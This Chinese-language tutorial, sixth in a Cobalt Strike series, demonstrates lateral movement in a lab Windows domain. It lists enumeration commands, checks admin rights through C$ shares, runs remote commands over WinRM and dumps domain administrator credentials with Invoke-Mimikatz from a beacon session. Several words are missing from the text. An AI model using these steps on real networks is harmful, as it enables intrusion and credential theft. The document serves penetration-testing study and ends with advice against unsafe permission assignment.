域内渗透横向扩展 CobaltStrike使用-第六篇

本篇为CS使用系列第六篇文章,主要以一个案例来演示使用CS进行横向移动
文章目录2.用户枚举 3.利用
域内渗透&横向扩展 网络拓扑
从网络拓扑结构中分析得出
用一个网络拓扑图来展示,可能不是很准确
在一个用路由器连接的内网中,可以将网络划分为三个区域:安全级别最高的内网;安全级别中等的DMZ;安全级别最低的外网()
这三个区域负责完成不同的任务,因此需要设置不同的访问策略
DMZ 称为隔离区,是为了解决安装防火墙后外部网络不能访问内部网络服务器的问题而设立的一个非安全系统与安全系统之间的缓冲区 。DMZ 位于企业内部网络和外部网络之间 。可以在DMZ 中放置一些必须公开的服务器设施 , 例如企业Web 服务器、FTP 服务器和论坛服务器等 。DMZ 是对外提供服务的区域,因此可以从外部访问 。在网络边界上一般会部署防火墙及入侵检测、入侵防御产品等 。如果有Web 应用,还会设置WAF , 从而更加有效地保护内网 。攻击者如果要进入内网,首先要突破的就是这重重防御 。在配置一个拥有DMZ 的网络时,通常需要定义如下访问控制策略,以实现其屏障功能
内网又可以分为办公区和核心区
办公区:公司员工日常的工作区,一般会安装防病毒软件、主机入侵检测产品等 。办公区一般能够访问DMZ 。如果运维人员也在办公区,那么部分主机也能访问核心数据区(很多大企业还会使用堡垒机来统一管理用户的登录行为) 。攻击者如果想进入内网,一般会使用鱼叉攻击、水坑攻击,当然还有社会工程学手段 。办公区人员多而杂,变动也很频繁,在安全管理上可能存在诸多漏洞,是攻击者进入内网的重要途径之一
核心区:存储企业最重要的数据、文档等信息资产,通过日志记录、安全审计等安全措施进行严密的保护,往往只有很少的主机能够访问 。从外部是绝难直接访问核心区的 。一般来说,能够直接访问核心区的只有运维人员或者IT 部门的主管 , 所以,攻击者会重点关注这些用户的信息(攻击者在内网中进行横向移动攻击时 , 会优先查找这些主机)
参考:内网安全攻防:渗透测试实战指南
在开始域内渗透之前,先说明下现在的情况,我们已经通过钓鱼攻击拿到了的,并且为了尽可能不被内网态势感知防火墙发现,派生SMB ,SMB就是为了内网横向扩展渗透而设计的
环境搭建
关于如何搭建域环境在完整的域渗透实验中已经介绍的很清楚了 , 这次这需要添加一个域内用户即可
配置客户机地址
虚拟机win7安装双网络适配器,第二个设置为Lan区段10.0.0.1
配置网卡2的IP地址和DNS服务器
加入域
首先在域控主机上添加用户
win7加入域
设置成功后重启虚拟机,重启后使用域账号登录
设置-2
真实企业中,因为普通域用户在做一些高级别操作的时候,需要域管理员的账号和密码,有时候用户为了方便就会把普通的域用户增加到目标主机的超级管理员组,所以这里直接把用户添加至-2的管理员组
自动添加的方法: 2008 R2 AD系列一:域用户自动加入本地管理员
2012 AD DS环境下域用户自动加入本地管理员组
-2开启winRM
winrm默认都是未启用的状态,先查看状态;如无返回信息,则是没有启动;
winrm enumerate winrm/config/listener
针对winrm进行基础配置:
winrm quickconfig
1.主机枚举
当进入目标局域网时,需要弄清楚几个问题
【域内渗透横向扩展CobaltStrike使用-第六篇】1、我正处在那个域上?
2、域信任关系是什么样的?
3、可以登陆哪些域?这些域上有哪些系统?目标是什么?可以获取什么?
4、系统上存放共享数据的地方在哪里?
的内置命令
只有收集足够的信息 , 才能更好的进行下一步操作,在中可以通过在命令前边加shell的方式执行 shell命令
shell whoami
shell net user
发现是一个域内普通用户 , 接下来进行用户枚举
在渗透进入内网后 , 如果直接使用的内置命令,比如 net view、net user等,可能就会被管理人员或者各种安全监控设备所发现 。因此较为安全的办法就是使用和 VMI 来进行躲避态势感知的检测
是由 Will开发的脚本,该脚本完全依赖于和 VMI ,使用可以更好的收集内网中的信息,在使用之前,与的一样需要先导入 ps1 文件
下载地址:
使用命令导入脚本
powershell-import
导入文件后就可以执行命令(需要在前边加上)
CS net模块
中有自己的 net 模块,net 模块是后渗透攻击模块,它通过的网络管理 api 函数来执行命令,想使用 net 命令,只需要在的控制中心输入 net + 要执行的命令即可
net dclist : 列出当前域的域控制器net dclist [DOMAIN] : 列出指定域的域控制器net share \\[name] : 列出目标的共享列表net view : 列出当前域的主机net view [DOMAIN] : 列出指定域的主机
在控制台中输入这些命令很类似输入一个本地的 net 命令,但相比于主机上运行中输出的结果更加丰富
2.用户枚举
用户枚举的三个关键步骤:
1、当前账号是否为管理员账号?
2、哪些账号是域管理员账号?
3、哪个账号是这个系统上的本地管理员账号?
1.判断当前账号是否为管理员账号
因为普通域用户在做一些高级别操作的时候,需要域管理员的账号和密码,有时候用户为了方便就会把普通的域用户增加到目标主机的超级管理员组,所以为了快速拿到权限可以先判断当前账号是否为管理员账号
可以尝试运行一些只有管理员账号才有权限操作的命令,然后通过返回结果判断是否为管理员,其中一种方式是尝试列出仅仅只有管理员才能查看的共享列表,比如下面的 dir \\host\C$ 命令,如果可以看到一个文件列表,那么说明可能拥有本地管理员权限
shell dir \\host\C$
通过之前shell命令 , 已经知道WIN-为域控主机 , 那么这就是host
shell dir \\WIN-A9PLNLID2QM\C$
发现账户权限不够拒绝访问,所以现在的权限不是域管理员
尝试访问本地目录 , 发现可以列出目录,判断当前权限为本地管理员
shell dir \\win701\C$
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img--12)()]
使用同样方法查看其他主机
shell dir \\SERVER20082\C$
发现该域账号同时使的本地管理员,也就是说可以利用作为跳板机
也可以运行其他命令 , 比如运行下面的 at 命令来查看系统上的计划任务列表,如果显示出了任务列表信息 , 那么可能是本地管理员 。(当任务列表没有信息时会返回 “列表是空的” 提示)
shell at \\host
在加载后可以用中的方法
powershell Find-LocalAdminAccess
2.判断哪些账号是域管理员账号
win命令
可以在共享里使用本地的命令 , 找出这些“域群组”的成员

域内渗透横向扩展  CobaltStrike使用-第六篇

文章插图
shell net group "enterprise admins" /DOMAINshell net group "domain admins" /DOMAIN
运行下面的命令来看谁是域控制器上的管理员
shell net localgroup "administrators" /domain
Net 模块
下面的命令中的意思是一个域控制器或者是任何想查看的组名 , 比如企业管理员、域管理员等等
net group \\TARGET group name
也可以运行下面的命令,这会连接任意目标来获取列表
net localgroup \\TARGET group name
powershell Get-NetLocalGroup -HostName Target
3.判断本地管理员
本地管理员可能是一个域账户,因此如果想把一个系统作为目标,应该找到谁是这个系统的本地管理员,因为如果获得了它的密码哈希值或者凭据就可以伪装成那个用户
Net模块
的 net 模块可以在系统上从一个没有特权的关联中查询本地组和用户
在控制台中运行下面命令可以获得一个目标上的群组列表
net localgroup \\TARGET
如果想获取群组的列表,可运行下面的命令来获得一个群组成员的名单列表 。
net localgroup \\TARGET group name
模块
使用下面的命令能够在一个主机上找到本地管理员,这条命令实际上通过管理员群组找到同样的群组并且把成员名单返回出来
Get-Netlocalgroup -hostname TARGET
3.利用
如果一个系统信任我们为本地管理员权限,无需恶意软件就可以进行以下操作(适用于域用户为其他域成员服务器的本地管理员的情况)
文件操作使用WinRM运行命令
WinRM 运行在 5985 端口上,WinRM 是远程管理服务,使用 WinRM 可以使远程管理更容易一些
如果想利用 WinRM 运行命令则可以使用下面的命令
powershell Invoke-Command -ComputerName TARGET -ScriptBlock {command here}# powershell Invoke-Command -ComputerName SERVER20082 -ScriptBlock {net localgroup administrators}
注:如果命令运行失败可能是因为 WinRM 配置原因 , 可在环境下运行 winrm 命令 , 输入 y 回车即可
命令运行后的结果,WinRM 也将通过命令行进行显示,因此可以使用的命令来作为远程工具,而不使用其他的恶意软件来控制系统
运行
使用来通过 WinRM 运行,只需要先导入 -.ps1 文件,再执行以下命令即可
powershell-import /path/to/Invoke-Mimikatz.ps1powershell Invoke-Mimikatz -ComputerName TARGET
注:之前提了很多次的也是项目里众多 ps1 文件之一 ,  的 ps1 文件在项目的目录下
因为上传文件大小限制在1MB,而 -.ps1 文件大小在 2 MB 多(有600K的版本),因此直接运行 - 导入该文件会报错 , 这里可以选择使用中的命令或者在当前会话的 File图形界面中上传该文件
upload C:\path\Invoke-Mimikatz.ps1
上传之后通过 dir 命令可以查看到文件被上传到了C盘下,之后可以运行以下命令来导入该文件
powershell import-module C:\Invoke-Mimikatz.ps1
最后再运行以下命令就能通过 WinRM 执行了
powershell Invoke-Mimikatz -ComputerName TARGET
如果提示:无法将“-”项识别为 、函数……,则可以将两条命令以分号合并在一起运行,即:
# beacon> powershell import-module C:\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName SERVER20082beacon> powershell import-module C:\Users\win701\Desktop\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName TARGET
这样的话就拿到了-2的账密,以及域控超级管理员账号和密码,如果域控开启了3389就可以直接远程连接
实验中导致横向移动原因是因为存在域普通用户作为本地超级管理员的情况,企业应避免使用这种不安全的权限分配